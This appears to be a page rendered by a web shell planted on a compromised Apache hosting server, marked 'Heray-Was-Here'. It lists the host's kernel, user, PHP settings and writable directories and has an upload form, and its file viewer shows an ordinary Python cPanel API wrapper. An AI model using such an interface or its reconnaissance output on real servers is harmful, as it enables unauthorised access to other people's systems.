Heray-Was-Here
Server : Apache
System : Linux vps37394.inmotionhosting.com 3.10.0-1160.119.1.vz7.224.4 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
User : jasonp18 ( 1000)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /lib/rads/venv/lib/python3.13/site-packages/cpapis/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/rads/venv/lib/python3.13/site-packages/cpapis/_cpapi1.py
"""cpapi1 functions"""
from typing import Union
import warnings
from ._errors import CpAPIDeprecation
from ._base import CpAPIBase


class Cpapi1(CpAPIBase):
    """cpapi1 functions"""

    __module__ = 'cpapis'

    def __init__(self):
        if self._can_exec('/usr/bin/cpapi1'):
            super().__init__('/usr/bin/cpapi1')
        else:
            super().__init__('/usr/local/cpanel/bin/cpapi1')

    def __call__(
        self,
        module: str,
        user: Union[str, None] = None,
        args: Union[dict, None] = None,
        timeout: Union[float, None] = None,
    ):
        """Query cpapi1

        Args:
            module: the cpapi1 module to use in format x::y
            user: ``--user`` arg to use
            args: key-vals to send to cpapi1
            timeout: timeout for the cpapi1 command in secs
        """
        warnings.warn(
            'cpapi1 is deprecated. Use cpapi2 or uapi', CpAPIDeprecation
        )
        return self._exec(
            module_args=module.split('::'),
            user=user,
            args=args,
            timeout=timeout,
        )

Hry